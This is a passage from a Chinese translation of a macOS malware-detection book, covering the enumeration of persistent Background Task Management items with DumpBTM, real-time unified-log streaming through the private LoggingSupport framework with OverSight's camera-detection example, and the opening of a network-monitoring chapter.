                 UUID: 8C271A5F-928F-456C-B177-8D9162293BA7
                 Name: softwareupdate
       Developer Name: (null)
                 Type: legacy daemon (0x10010)
          Disposition: [enabled, allowed, visible, notified] (11)
           Identifier: com.apple.softwareupdate
                  URL: file:///Library/LaunchDaemons/com.apple.softwareupdate.plist
      Executable Path: /Users/User/.local/softwareupdate
           Generation: 1
    Parent Identifier: Unknown Developer

#2
                 UUID: 9B6C3670-2946-4F0F-B58C-5D163BE627C0
                 Name: ChmodBPF
       Developer Name: Wireshark
      Team Identifier: 7Z6EMTD2C6
                 Type: curated legacy daemon (0x90010)
 Disposition: [enabled, allowed, visible, notified] (11)
           Identifier: org.wireshark.ChmodBPF
                  URL: file:///Library/LaunchDaemons/org.wireshark.ChmodBPF.plist
      Executable Path: /Library/Application Support/Wireshark/ChmodBPF/ChmodBPF
           Generation: 1
    Assoc. Bundle IDs: [org.wireshark.Wireshark]
    Parent Identifier: Wireshark 

由于大多数 macOS 恶意软件是持久化的,因此能够通过编程方式枚举持久安装的项目是非常重要的。然而,这些枚举还会包括合法项,例如 Wireshark 的ChmodBPF守护进程,如这里所示。

识别恶意项

当然,在尝试通过编程方式检测恶意软件时,单纯打印出持久化的项目并不是特别有帮助。如你刚刚看到的,后台任务管理数据库包括关于持久安装项目的元数据,这些项目可能是良性的,因此代码必须仔细检查每个项目。例如,工具输出中的第一个项目可能是可疑的;它的名字表明它是一个核心 Apple 组件,但它是从一个隐藏目录运行并且没有签名。(剧透:它是 DazzleSpy。)另一方面,第二个项目的代码签名信息,包括其开发者名称和团队 ID,将其识别为网络监控和分析工具 Wireshark 的合法组件。

要以编程方式提取每个项的信息,你可以直接访问 ItemRecord 对象的相关属性。例如,列表 5-8 更新了我们在 列表 5-7 中编写的代码,来访问每个项的属性列表路径、名称和可执行路径。

for(NSString* key in storage.itemsByUserIdentifier) {
    NSArray* items = storage.itemsByUserIdentifier[key];

    for(ItemRecord* item in items) {
        NSURL* url = item.url;
        NSString* name = item.name;
        NSString* path = item.executablePath;
        ...
    }
} 

列表 5-8:访问 ItemRecord 属性

我从 DumpBTM 项目中摘录了这里展示的代码,DumpBTM 是一个完整的后台任务管理解析器,已编译成一个库,便于链接到其他项目中。DumpBTM 还允许我们将每个持久性项的元数据提取到一个字典中,以便清晰地抽象掉未公开的后台任务管理对象的内部结构(列表 5-9)。其他代码可以读取这个字典,例如,检查每个项是否存在异常,或者应用启发式算法将它们分类为良性或可能是恶意的。

#define KEY_BTM_ITEM_URL @"url"
#define KEY_BTM_ITEM_UUID @"uuid"
#define KEY_BTM_ITEM_NAME @"name"
#define KEY_BTM_ITEM_EXE_PATH @"executablePath"

NSDictionary* toDictionary(ItemRecord* item) {
    NSMutableDictionary* dictionary = [NSMutableDictionary dictionary];

    dictionary[KEY_BTM_ITEM_UUID] = item.uuid;
    dictionary[KEY_BTM_ITEM_URL] = item.url;
    dictionary[KEY_BTM_ITEM_NAME] = item.name;
    dictionary[KEY_BTM_ITEM_EXE_PATH] = item.executablePath;
    ...
    return dictionary;
} 

列表 5-9:将属性提取到字典中

要提取 ItemRecord 对象的属性,我们只需创建一个字典,并将每个属性添加到字典中,键可以是我们选择的任何值。

DumpBTM 库中,一个名为 parseBTM 的导出函数调用了这里展示的 toDictionary 函数。我将在本章结束时展示如何通过调用 parseBTM 来使用这个库,获取包含所有持久性项元数据的字典,这些元数据存储在后台任务管理数据库中。

在你自己的代码中使用 DumpBTM

当你编译 DumpBTM 时,你会在其 library/lib 目录下找到两个文件:库的头文件(dumpBTM.h)和已编译的库 libDumpBTM.a。将这两个文件添加到你的项目中。通过 #include 或 #import 指令在源代码中包含头文件,因为这个文件包含了库的导出函数定义和常量。如果你在编译时链接已编译的库,那么你的代码应该能够调用库的导出函数(列表 5-10)。

❶ #import "dumpBTM.h"
...

❷ NSDictionary* contents = parseBTM(nil);

❸ for(NSString* uuid in contents[KEY_BTM_ITEMS_BY_USER_ID]) {
    for(NSDictionary* item in contents[KEY_BTM_ITEMS_BY_USER_ID][uuid]) {
        // Add code to process each persistent item.
    }
} 

列表 5-10:枚举持久性项

导入库的头文件 ❶ 后,我们调用其导出的 parseBTM 函数 ❷。这个函数返回一个字典,包含由后台任务管理子系统管理并存储在其数据库中的所有持久性项,键值为唯一的用户标识符。你可以看到代码如何迭代每个用户标识符,然后遍历每个持久性项 ❸。

结论

识别持久性安装项的能力对于检测恶意软件至关重要。在本章中,你学习了如何以编程方式与 macOS 的后台任务管理数据库进行交互,该数据库包含所有持久性启动项和登录项的元数据。虽然这个过程涉及了对后台任务管理子系统内部的一些简要探讨,但我们能够构建一个完整的解析器,能够完全反序列化数据库中的所有对象,从而为我们提供持久性安装项的列表。^(5)

然而,请注意,某些恶意软件利用了更加创意性的持久性机制,这些机制不会被后台任务管理子系统追踪,因此我们无法在该子系统的数据库中找到这些恶意软件。请不用担心;在第十章中,我们将深入探讨 KnockKnock,这是一种超越后台任务管理的方法,能够全面揭示操作系统中任何地方存在的持久性恶意软件。

本章总结了第一部分及数据收集的讨论。现在你已经准备好探索实时监控的世界,它可以为主动检测方法奠定基础。

注释

  1. 1.  托马斯·布鲁斯特,"黑客正在揭露中东间谍活动中的苹果 Mac 弱点",《福布斯》,2018 年 8 月 30 日,https://www.forbes.com/sites/thomasbrewster/2018/08/30/apple-mac-loophole-breached-in-middle-east-hacks/#4b6706016fd6.

  2. 2.  帕特里克·沃德尔,"中东的网络间谍活动:解开 OSX.WindTail 的真相",《病毒公告》,2019 年 10 月 3 日,https://www.virusbulletin.com/uploads/pdf/magazine/2019/VB2019-Wardle.pdf.

  3. 3.  马克-埃蒂安·M·莱维耶和安东·切列潘诺夫,"水坑攻击在亚洲部署了新的 macOS 恶意软件 DazzleSpy",《We Live Security》,2022 年 1 月 25 日,https://www.welivesecurity.com/2022/01/25/watering-hole-deploys-new-macos-malware-dazzlespy-asia/.

  4. 4.  “更新来自早期版本 macOS 的辅助执行文件”,苹果开发者文档,https://developer.apple.com/documentation/servicemanagement/updating_helper_executables_from_earlier_versions_of_macos.

  5. 5.  如果你有兴趣了解更多关于后台任务管理子系统的内部结构,包括如何逆向工程以理解其组件,可以参阅我在 2023 年 DEF CON 大会上的演讲:“揭秘(与绕过)macOS 的后台任务管理”,https://speakerdeck.com/patrickwardle/demystifying-and-bypassing-macoss-background-task-management.

第二部分 系统监控

到目前为止,我已经介绍了收集数据以生成系统状态快照的编程方法,然后分析这些快照以发现恶意活动的症状。然而,这种方法将分析限制在单一的时间点。简单的防病毒程序通常提供这种功能,通过“立即扫描”选项来实现,这对于确定系统是否已经感染以及创建已知良好状态的基准非常有用。这种方法的明显缺点是它是反应式的,最糟糕的是,可能完全错过感染。例如,勒索病毒可能在两个快照之间的时间窗口内感染系统,并使其无法操作。

解决方案是扩展第一部分中提出的方法,以提供实时监控功能。在第二部分中,我将解释如何实时监控系统日志、网络、文件系统和进程事件。在某些情况下,我们需要编写特定于监控目标的代码;而在其他情况下,Apple 的端点安全框架可以作为监控的基础,支持文件系统、进程及其他许多重要事件的监控。为了全面理解端点安全的能力,我将花费一整章来重点介绍它的高级功能,包括授权和静音。最全面的恶意软件检测解决方案将包括第一部分中介绍的方法,以及第二部分中我将涵盖的技术。

此外,监控代码可以应用第一部分中讲解的策略来识别异常。例如,我们在第二章中编写的逻辑,用于检测运行进程的二进制文件是否被打包,可以实时识别可疑的二进制文件,比如当进程监控器拦截到一个新启动的进程时。

第六章:6 日志监控

如果你曾花时间研究 macOS,你可能遇到过系统的统一日志机制,这是一种帮助你了解 macOS 内部结构的资源,并且正如你将很快看到的,它也可以帮助揭示恶意软件。在本章中,我将首先强调可以从这些日志中提取的各种信息,用以检测恶意活动。接着,我们将逆向工程 macOS 日志工具和其核心私有框架之一,以便我们能够以编程方式高效地直接从日志子系统中获取实时信息。

探索日志信息

我将首先介绍一些有用的活动示例,这些活动可能出现在系统日志中,从摄像头访问开始。尤其是那些狡猾的恶意软件样本,包括 FruitFly、Mokes 和 Crisis,它们通过感染的主机摄像头悄悄地监视受害者。然而,访问摄像头会生成系统日志消息。例如,根据 macOS 的版本,Core Media I/O 子系统可能会生成如下信息:

CMIOExtensionProvider.m:2671:-[CMIOExtensionProvider setDevicePropertyValuesForClientID:
deviceID:propertyValues:reply:] <CMIOExtensionProvider>,
3F4ADF48-8358-4A2E-896B-96848FDB6DD5, propertyValues {
    **CMIOExtensionPropertyDeviceControlPID = 90429;**
} 

粗体值包含了访问摄像头的进程 ID。虽然这个进程可能是合法的,例如用户发起的 Zoom 或 FaceTime 会议,但为了谨慎起见,最好确认这一点,因为该进程也可能是恶意软件,试图监视用户。因为苹果并未提供一个 API 来标识访问摄像头的进程,所以日志消息通常是获取该信息的唯一可靠方式。

其他经常出现在系统日志中的活动是远程登录,这可能表明系统被攻破,例如攻击者通过 SSH 登录首次访问主机,或者甚至是回到先前被感染的主机。例如,IPStorm 恶意软件通过暴力破解 SSH 登录传播给受害者。^(1) 另一个有趣的案例是 XCSSET,它通过本地发起一个看似是远程连接的行为,绕过 macOS 的透明性、同意和控制(TCC)安全机制。^(2)

当通过 SSH 进行远程登录时,系统会生成如下日志消息:

sshd: Accepted keyboard-interactive/pam for Patrick from 192.168.1.176 port 59363 ssh2
sshd: (libpam.2.dylib) in pam_sm_setcred(): Establishing credentials
sshd: (libpam.2.dylib) in pam_sm_setcred(): Got user: Patrick
...
sshd: (libpam.2.dylib) in pam_sm_open_session(): UID: 501
sshd: (libpam.2.dylib) in pam_sm_open_session(): server_URL: (null)
sshd: (libpam.2.dylib) in pam_sm_open_session(): path: (null)
sshd: (libpam.2.dylib) in pam_sm_open_session(): homedir: /Users/Patrick
sshd: (libpam.2.dylib) in pam_sm_open_session(): username: Patrick 

这些日志消息提供了连接的源 IP 地址,以及登录用户的身份。这些信息可以帮助防御者判断 SSH 会话是否合法(例如,远程工作者连接到其办公室机器)还是未经授权的。

日志消息还可以提供有关 TCC 机制的洞见,TCC 机制控制着对敏感信息和硬件功能的访问。在一次“海边的目标”会议上,研究人员 Calum Hall 和 Luke Roberts 指出,他们通过统一日志中的消息,能够确定与某个 TCC 事件相关的几项信息(例如,恶意软件试图捕获屏幕或访问用户文档),包括进程请求访问的资源、负责和目标进程,以及系统是否拒绝或批准该请求及其原因。^(3)

此时,可能会产生将日志消息视为恶意软件检测的灵丹妙药的冲动。但不要这样做。苹果并不正式支持日志消息,且经常会改变其内容或将其完全移除,甚至在 macOS 的小版本更新之间。例如,在旧版本的操作系统中,你可以通过查看以下日志消息来检测麦克风访问并识别负责的进程:

send: 0/7 synchronous to com.apple.tccd.system: request: msgID=408.11,
function=TCCAccessRequest, service=kTCCServiceMicrophone, target_token={pid:23207, auid:501,
euid:501}, 

不幸的是,苹果更新了相关的 macOS 框架,导致不再生成此类消息。如果你的安全工具仅依赖此指示器来检测未经授权的麦克风访问,它将不再起作用。因此,最好将日志消息视为可疑行为的初步迹象,然后进行进一步调查。

统一日志子系统

我们通常认为日志消息是用来弄清楚过去发生了什么。但 macOS 还允许你订阅消息流,以便几乎实时地将它们送入日志子系统。更妙的是,日志子系统支持通过自定义谓词过滤这些消息,从而提供对系统活动的高效且无与伦比的洞察。

从 macOS 10.12 开始,这种日志机制被称为统一日志系统。^(4) 它取代了传统的 syslog 接口,记录来自核心系统守护进程、操作系统组件和任何通过 OSLog API 生成日志消息的第三方软件的消息。

值得注意的是,如果你检查统一系统日志中的日志消息,可能会遇到部分内容被编辑;日志子系统会将任何被认为敏感的信息替换为字符串。要禁用此功能,你可以安装一个配置文件。^(5) 尽管这种功能有助于理解操作系统中未记录的特性,但你不应在终端用户或生产系统中禁用日志编辑,因为这会使敏感数据对任何能够访问日志的人开放。

手动查询日志工具

若要手动与日志子系统交互,可以使用位于/usr/bin中的 macOS 日志工具:

% **/usr/bin/log**
usage:
    log <command>

global options:
    -?, --help
    -q, --quiet
    -v, --verbose

commands:
    collect         gather system logs into a log archive
    config          view/change logging system settings
    erase           delete system logging data
    show            view/search system logs
    stream          watch live system logs
    stats           show system logging statistics

further help:
    log help <command>
    log help predicates 

你可以使用 show 标志搜索以前记录的数据,或使用 stream 标志查看实时生成的日志数据。除非另行指定,否则输出将仅包括默认日志级别的消息。要覆盖过去数据的此设置,可以使用 --info 或 --debug 标志,并配合 show 查看更多信息或调试消息。对于流式数据,指定 stream 和 --level,然后选择 info 或 debug。这些标志是层级关系的;指定调试级别时,也会返回信息性和默认消息。

使用 --predicate 标志和谓词来过滤输出。一个相当广泛的有效谓词字段列表使你能够根据进程、子系统、类型等多种条件查找日志消息。例如,要从内核流式传输日志消息,请执行以下命令:

% **log stream --predicate 'process == "kernel"'**

通常有不止一种方式来构造谓词。例如,我们也可以通过使用 'processIdentifier == 0' 来接收内核消息,因为内核的进程 ID 总是 0。

要从安全子系统流式传输消息,请输入以下命令:

% **log stream --predicate 'subsystem == "com.apple.securityd"'**

这里展示的示例都使用了相等运算符(==)。然而,谓词可以使用许多其他运算符,包括比较运算符(如 ==、!= 和 <)、逻辑运算符(如 AND 和 OR),甚至是成员运算符(如 BEGINSWITH 和 CONTAINS)。成员运算符非常强大,因为它们允许你构造类似正则表达式的筛选谓词。

log 手册页和命令 log help predicates 提供了谓词的简洁概述。^(6)

逆向工程日志 API

要以编程方式读取日志数据,我们可以使用 OSLog API。^(7) 然而,这些 API 仅返回历史数据,在恶意软件检测的背景下,我们更关心的是实时事件。没有公共 API 允许我们实现这一点,但通过逆向工程日志工具(特别是支持 stream 命令的代码),我们可以确切地了解如何在日志消息进入统一日志子系统时获取它们。此外,通过提供筛选谓词,我们只会接收对我们有兴趣的消息。

虽然我不会详细讲解如何逆向日志工具,但在这一部分我将概述整个过程。当然,你也可以对其他苹果工具和框架应用类似的过程,以提取对恶意软件检测有用的私有 API(正如我们在第三章中实现软件包代码签名检查时所展示的)。

首先,我们需要找到实现日志子系统 API 的二进制文件,以便我们能够从自己的代码中调用它们。通常,我们会在一个动态链接到工具二进制文件的框架中找到这些 API。通过执行 otool -L 命令行选项,我们可以查看日志工具动态链接的框架:

% **otool -L /usr/bin/log**
/System/Library/PrivateFrameworks/ktrace.framework/Versions/A/ktrace
/System/Library/PrivateFrameworks/LoggingSupport.framework/Versions/A/LoggingSupport
/System/Library/PrivateFrameworks/CoreSymbolication.framework/Versions/A/CoreSymbolication
... 

根据其名称,LoggingSupport 框架似乎很可能包含相关的日志 API。在过去的 macOS 版本中,你可以在 /System/Library/PrivateFrameworks/ 目录中找到该框架,而在较新的版本中,你会在共享的 dyld 缓存中找到它。

将框架加载到 Hopper 中后(Hopper 可以直接从 dyld 缓存加载框架),我们发现该框架实现了一个名为 OSLogEventLiveStream 的未记录类,其基类是 OSLogEventStreamBase。 这些类实现了诸如 activate、setEventHandler: 和 setFilterPredicate: 等方法。我们还遇到一个未记录的 OSLogEventProxy 类,似乎代表了日志事件。以下是它的一些属性:

NSString* process;
int processIdentifier;
NSString* processImagePath;
NSString* sender;
NSString* senderImagePath;
NSString* category;
NSString* subsystem;
NSDate* date;
NSString* composedMessage; 

通过检查日志工具,我们可以看到它如何使用这些类及其方法来捕获流式日志数据。例如,这是从日志二进制文件反编译得到的一个片段:

r21 = [OSLogEventLiveStream initWithLiveSource:...];
[r21 setEventHandler:&var_110];
...
[r21 setFilterPredicate:r22];

printf("Filtering the log data using \"%s\"\n", @selector(UTF8String));
...
[r21 activate]; 

在反编译中,我们首先看到调用 initWithLiveSource: 初始化一个 OSLogEventLiveStream 对象。接着调用 setEventHandler: 和 setFilterPredicate: 等方法来配置该对象,存储在 r21 寄存器中。设置完谓词后,一条有用的调试信息表明,提供的谓词可以过滤日志数据。最后,该对象激活,触发了符合指定谓词的流式日志消息的接收。

流式日志数据

通过逆向工程日志二进制文件和 LoggingSupport 框架,我们获得的信息,可以帮助我们编写代码直接从通用日志子系统中流式传输数据到我们的检测工具。在这里,我们将介绍代码的关键部分,尽管建议你查阅本章的完整代码,位于 logStream 项目中。

清单 6-1 显示了一个方法,该方法接受一个日志过滤谓词、一个日志级别(如默认、信息或调试),以及一个回调函数,用于对每个符合指定谓词的日志事件进行调用。

#define LOGGING_SUPPORT @"/System/Library/PrivateFrameworks/LoggingSupport.framework"

-(void)start:(NSPredicate*)predicate
level:(NSUInteger)level eventHandler:(void(^)(OSLogEventProxy*))eventHandler {
    [[NSBundle bundleWithPath:LOGGING_SUPPORT] load]; ❶
    Class LiveStream = NSClassFromString(@"OSLogEventLiveStream"); ❷

    self.liveStream = [[LiveStream alloc] init]; ❸

    @try {
        [self.liveStream setFilterPredicate:predicate]; ❹
    } @catch (NSException* exception) {
 // Code to handle invalid predicate removed for brevity
    }
    [self.liveStream setInvalidationHandler:^void (int reason, id streamPosition) {
        ;
    }];

    [self.liveStream setDroppedEventHandler:^void (id droppedMessage) {
        ;
    }];

    [self.liveStream setEventHandler:eventHandler]; ❺
    [self.liveStream setFlags:level]; ❻

    [self.liveStream activate]; ❼
} 

清单 6-1:使用指定谓词启动日志流

请注意,我已经省略了这部分代码,如自定义日志类的类定义和属性。

加载日志支持框架 ❶ 后,代码通过名称检索私有的 OSLogEventLiveStream 类 ❷。现在我们可以实例化该类的一个实例 ❸。然后,我们通过设置过滤谓词 ❹ 来配置这个实例,确保将其包装在 try...catch 块中,因为如果提供无效的谓词,setFilterPredicate: 方法可能会抛出异常。接下来,我们设置事件处理程序,框架将在每次通用日志子系统接收符合指定谓词的日志消息时调用该处理程序 ❺。我们将这些值传递给 start:level:eventHandler: 方法,其中谓词告诉日志流如何过滤它传递给事件处理程序的消息。我们通过 setFlags: 方法设置日志级别 ❻。最后,我们通过调用 activate 方法启动流 ❼。

清单 6-2 展示了如何创建自定义日志监视类的实例,并使用它开始接收日志消息。

NSPredicate* predicate = [NSPredicate predicateWithFormat:<some string predicate>]; ❶

LogMonitor* logMonitor = [[LogMonitor alloc] init]; ❷

[logMonitor start:predicate level:Log_Level_Debug eventHandler:^(OSLogEventProxy* event) {
    printf("New Log Message: %s\n\n", event.description.UTF8String);
}];

[NSRunLoop.mainRunLoop run]; 

清单 6-2:与自定义日志流类进行交互

首先,代码从一个字符串 ❶ 创建一个谓词对象。请注意,在生产代码中,你还应该将此操作包装在 try...catch 块中,因为如果提供的谓词无效,predicateWithFormat: 方法会抛出一个可捕获的异常。接下来,我们创建一个 LogMonitor 对象并调用它的 start:level:eventHandler: 方法 ❷。请注意,对于级别,我们传入 Log_Level_Debug。由于级别是分层的,这将确保我们捕获所有类型的消息,包括那些类型为 info 和 default 的消息。现在,每当一个与指定谓词匹配的日志消息流向通用日志子系统时,代码将调用我们的事件处理程序。当前,这个处理程序仅打印出 OSLogEventProxy 对象。

要编译这段代码,我们需要从 LoggingSupport 框架中提取的未文档化类和方法定义。这些定义位于 logStream 项目的 LogStream.h 文件中;清单 6-3 提供了它们的一部分。

@interface OSLogEventLiveStream : NSObject
    -(void)activate;
    -(void)setFilterPredicate:(NSPredicate*)predicate;
    -(void)setEventHandler:(void(^)(id))callback;
    ...
    @property(nonatomic) unsigned long long flags;
@end

@interface OSLogEventProxy : NSObject
    @property(readonly, nonatomic) NSString* process;
    @property(readonly, nonatomic) int processIdentifier;
    @property(readonly, nonatomic) NSString* processImagePath;
    ...
@end 

清单 6-3:私有的 OSLogEventLiveStream 和 OSLogEventProxy 类的接口

一旦我们编译了这段代码,就可以使用用户指定的谓词来执行它。例如,让我们监视安全子系统的日志消息,com.apple.securityd

% **./logStream 'subsystem == "com.apple.securityd"'**
New Log Message:
<OSLogEventProxy: 0x155804080, 0x0, 400, 1300, open(%s,0x%x,0x%x) = %d>
New Log Message:
<OSLogEventProxy: 0x155804080, 0x0, 400, 1300, %p is a thin file (%s)>
New Log Message:
<OSLogEventProxy: 0x155804080, 0x0, 400, 1300, %zd signing bytes in %d blob(s) from %s(%s)>
New Log Message:
<OSLogEventProxy: 0x155804080, 0x0, 400, 1009, network access disabled by policy> 

尽管我们确实正在捕获与指定谓词匹配的流式日志消息,但初看这些消息似乎并不那么有用。这是因为我们的事件处理程序仅通过调用其 description 方法打印出 OSLogEventProxy 对象,而该方法并不包含消息的所有组成部分。

提取日志对象的属性

为了检测可能表明恶意软件存在的活动,你需要提取 OSLogEventProxy 日志方法对象的属性。在反汇编过程中,我们遇到了几个有用的属性,如进程 ID、路径和消息,但还有其他有趣的属性。由于 Objective-C 是反射性的,你可以动态查询任何对象,包括未文档化的对象,来揭示其属性和值。这需要深入 Objective-C 运行时的内部;尽管如此,你会发现理解你遇到的任何未文档化类是非常有用的,特别是在利用 Apple 的私有框架时。

清单 6-4 是一个简单的函数,它接受任何 Objective-C 对象,然后打印出其属性及其值。它基于 Pat Zearfoss 的代码。^(8)

#import <objc/message.h> ❶
#import <objc/runtime.h>

void inspectObject(id object) {
    unsigned int propertyCount = 0 ;
    objc_property_t* properties = class_copyPropertyList([object class], &propertyCount); ❷

    for(unsigned int i = 0; i < propertyCount; i++) {
        NSString* name = [NSString stringWithUTF8String:property_getName(properties[i])]; ❸

        printf("\n%s: ", [name UTF8String]);

        SEL sel = sel_registerName(name.UTF8String); ❹
        const char* attr = property_getAttributes(properties[i]); ❺

        switch(attr[1]) {
            case '@':
                printf("%s\n",
                [[((id (*)(id, SEL))objc_msgSend)(object, sel) description] UTF8String]);
                break;
            case 'i':
                printf("%i\n", ((int (*)(id, SEL))objc_msgSend)(object, sel));
                break;
            case 'f':
                printf("%f\n", ((float (*)(id, SEL))objc_msgSend)(object, sel));
                break;
            default:
                break;
        }
    }

    free(properties);
    return;
} 

清单 6-4:检查一个 Objective-C 对象的属性

首先,代码导入所需的 Objective-C 运行时头文件 ❶。然后,它调用 class_copyPropertyList API 来获取对象属性的数组和数量 ❷。我们遍历该数组检查每个属性,调用 property_getName 方法获取属性的名称 ❸。然后,sel_registerName 函数为属性检索选择器 ❹。稍后我们将使用属性选择器来检索对象的值。

接下来,为了确定属性的类型,我们调用属性的 _getAttributes 方法 ❺。这将返回一个属性数组,其中属性类型是第二项(索引为 1)。代码处理常见类型,如 Objective-C 对象(@)、整数(i)和浮点数(f)。对于每种类型,我们在对象上调用 objc_msgSend 函数,并使用属性的选择器来获取属性的值。

如果仔细观察,你会看到调用 objc_msgSend 时,对于每种属性类型,都会适当地进行类型转换。有关类型编码的列表,请参见 Apple 的“类型编码”开发者文档。^(9) 若要检查 Swift 对象,请使用 Swift 的 Mirror API。^(10)

在日志监控代码中,我们现在可以使用 inspectObject 函数,处理从日志子系统接收到的每个 OSLogEventProxy 对象(示例 6-5)。

NSPredicate* predicate = [NSPredicate predicateWithFormat:<some string predicate>];

[logMonitor start:predicate level:Log_Level_Debug eventHandler:
^(OSLogEventProxy* event) {
    inspectObject(event);
}]; 

示例 6-5:检查每条日志消息,封装在 OSLogEventProxy 对象中

如果我们编译并执行该程序,应该会收到每条日志消息的更全面视图。例如,通过监控与 XProtect 相关的消息(这是某些版本 macOS 上内置的反恶意软件扫描器),我们可以观察它对一个不受信任应用程序的扫描:

% **./logStream 'subsystem == "com.apple.xprotect"'**

New Log Message:

composedMessage: Starting malware scan for: /Volumes/Install/Install.app

logType: 1
timeZone: GMT-0700 (GMT-7) offset -25200
...
processIdentifier: 1374
process: XprotectService
processImagePath: /System/Library/PrivateFrameworks/XprotectFramework
.framework/Versions/A/XprotectService.xpc/Contents/MacOS/XprotectService
...
senderImagePath: /System/Library/PrivateFrameworks/XprotectFramework
.framework/Versions/A/XprotectService.xpc/Contents/MacOS/XprotectService
sender: XprotectService
...
subsystem: com.apple.xprotect
category: xprotect
... 

精简输出包含了与安全工具最相关的 OSLogEventProxy 对象的属性。表 6-1 按字母顺序总结了这些属性。与许多 OSLogEventProxy 对象属性一样,你可以在自定义谓词中使用它们。

表 6-1:与安全相关的 OSLogEventProxy 属性

属性名 描述
category 用于记录事件的类别
composedMessage 日志消息的内容
logType 对于 logEvent 和 traceEvent,消息的类型(默认、信息、调试、错误或故障)
processIdentifier 导致事件的进程的进程 ID
processImagePath 导致事件的进程的完整路径
senderImagePath 导致事件的库、框架、内核扩展或 Mach-O 镜像的完整路径
subsystem 用于记录事件的子系统
type 事件的类型(如 activityCreateEvent、activityTransitionEvent 或 logEvent)

确定资源消耗

考虑流式日志消息的潜在资源影响非常重要。如果你采取过度消耗的方式,可能会导致显著的 CPU 开销,并影响系统的响应能力。

首先,注意日志级别。指定调试级别将导致处理的日志消息数量显著增加。尽管谓词评估逻辑非常高效,但更多的消息意味着更多的 CPU 循环。因此,利用日志子系统流式传输功能的安全工具最好还是只消耗默认或信息级别的消息。

同样重要的是你使用的谓词效率。有趣的是,我的实验表明,日志守护进程会完全评估某些谓词,而在客户端程序中加载的日志子系统框架(如日志监视器)会处理其他谓词。前者更好;否则,程序将收到每一条日志消息的副本以进行谓词评估,这可能会占用大量的 CPU 循环。如果是日志守护进程进行谓词评估,你将只收到匹配谓词的消息,这对系统的影响几乎不可察觉。

如何创建一个日志守护进程会评估的谓词?经过反复试验表明,如果你在谓词中指定进程或子系统,守护进程就会评估它,这意味着你只会收到匹配的日志消息。我们来看一个来自 OverSight 的具体例子,OverSight 是在第十二章中讨论的一款工具,用于监控麦克风和摄像头。^(11)

OverSight 需要访问核心媒体 I/O 子系统的日志消息,以识别访问摄像头的进程。在本章开始时,我提到某些版本的 macOS 会将此进程 ID 存储在包含字符串 CMIOExtensionPropertyDeviceControlPID 的核心媒体 I/O 子系统的日志消息中。可以理解的是,你可能会想创建一个与此字符串匹配的谓词:

'composedMessage CONTAINS "CMIOExtensionPropertyDeviceControlPID"'

然而,这个谓词会导致处理效率低下,因为日志守护进程将发送所有由我们日志监视器加载的日志框架进行谓词过滤的消息。相反,OverSight 利用一个更广泛的谓词,利用了子系统属性:

subsystem=='com.apple.cmio'

这种方法使日志守护进程执行谓词匹配,然后只传送来自核心媒体 I/O 子系统的消息。OverSight 本身手动执行对 CMIOExtensionPropertyDeviceControlPID 字符串的检查:

if(YES == [logEvent.composedMessage
containsString:@"CMIOExtensionPropertyDeviceControlPID ="]) {
    // Extract the PID of the processes accessing the webcam.
} 

该工具利用类似的过程返回与麦克风访问相关的日志消息。因此,它能够有效地检测任何尝试使用麦克风或摄像头的进程(包括恶意软件)。

结论

在本章中,你了解了如何使用代码与操作系统的通用日志子系统进行交互。通过逆向工程私有的 LoggingSupport 框架,我们以编程方式流式传输与自定义谓词匹配的消息,并访问日志子系统中丰富的数据。安全工具可以利用这些信息来检测新的感染,甚至揭示持久性恶意软件的恶意行为。

在下一章中,你将使用 Apple 强大且文档完善的网络扩展来编写网络监控逻辑。

备注

  1. 1.  Nicole Fishbein 和 Avigayil Mechtinger, “风暴即将来临:IPStorm 现已拥有 Linux 恶意软件,”Intezer,2023 年 11 月 14 日,https://www.intezer.com/blog/research/a-storm-is-brewing-ipstorm-now-has-linux-malware/.

  2. 2.  “XCSSET 恶意软件,”TrendMicro,2020 年 8 月 13 日,https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf。欲了解更多关于 macOS 中远程登录滥用的信息,请参见 Jaron Bradley, “macOS 上的 APT 活动是什么样的?”,“The Mitten Mac”,2021 年 11 月 14 日,https://themittenmac.com/what-does-apt-activity-look-like-on-macos/.

  3. 3.  Calum Hall 和 Luke Roberts, “时钟正在 TCC 中,”论文发表于 Objective by the Sea v6,西班牙,2023 年 10 月 12 日,https://objectivebythesea.org/v6/talks/OBTS_v6_lRoberts_cHall.pdf.

  4. 4.  “日志记录,”Apple 开发者文档,https://developer.apple.com/documentation/os/logging.

  5. 5.  Howard Oakley, “如何在日志中显示‘私密’信息,”Eclectic Light,2020 年 5 月 25 日,https://eclecticlight.co/2020/05/25/how-to-reveal-private-messages-in-the-log/.

  6. 6.  请参阅 Howard Oakley,“日志:谓词简介,”Eclectic Light,2016 年 10 月 17 日,https://eclecticlight.co/2016/10/17/log-a-primer-on-predicates/,以及“谓词编程指南,”Apple 开发者文档,https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/Predicates/AdditionalChapters/Introduction.html.

  7. 7.  “OSLog,”Apple 开发者文档,https://developer.apple.com/documentation/oslog.

  8. 8.  Pat Zearfoss,“Objective-C Quickie: 打印对象的所有声明属性,”2011 年 4 月 14 日,https://zearfoss.wordpress.com/2011/04/14/objective-c-quickie-printing-all-declared-properties-of-an-object/

  9. 9.  该列表可在 https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/ObjCRuntimeGuide/Articles/ocrtTypeEncodings.html#//apple_ref/doc/uid/TP40008048-CH100-SW1 查阅。

  10. 10.  在 Antoine van der Lee 的文章“Swift 中的反射:Mirror 如何工作”中,了解更多关于 Swift 的 Mirror API,SwiftLee,2021 年 12 月 21 日,https://www.avanderlee.com/swift/reflection-how-mirror-works/

  11. 11.  请参阅 https://objective-see.org/products/oversight.html

第七章:7 网络监控

在本章中,我将描述在 macOS 系统上监控网络活动的各种方法。我将从简单的开始,向你展示如何定期安排网络快照,以便获得主机网络活动的近连续视图。接下来,你将深入了解苹果的NetworkExtension框架和 API,它们提供了一种定制操作系统核心网络功能并构建全面网络监控工具的方法。作为一个例子,我将讨论如何利用这个强大的框架构建基于主机的 DNS 监视器和防火墙,能够筛选和阻止特定的活动。

在第四章中,我们在给定的时刻生成了设备网络状态的快照。尽管这种简单的方法可以有效地检测各种恶意行为,但它也有一些局限性。最显著的是,如果恶意软件在快照拍摄时没有访问网络,它将保持未被发现。例如,3CX 供应链攻击中使用的恶意软件每隔一两个小时才发送一次信号。^(1)除非网络快照恰好被计划在这个时间,否则它将错过恶意软件的网络活动。

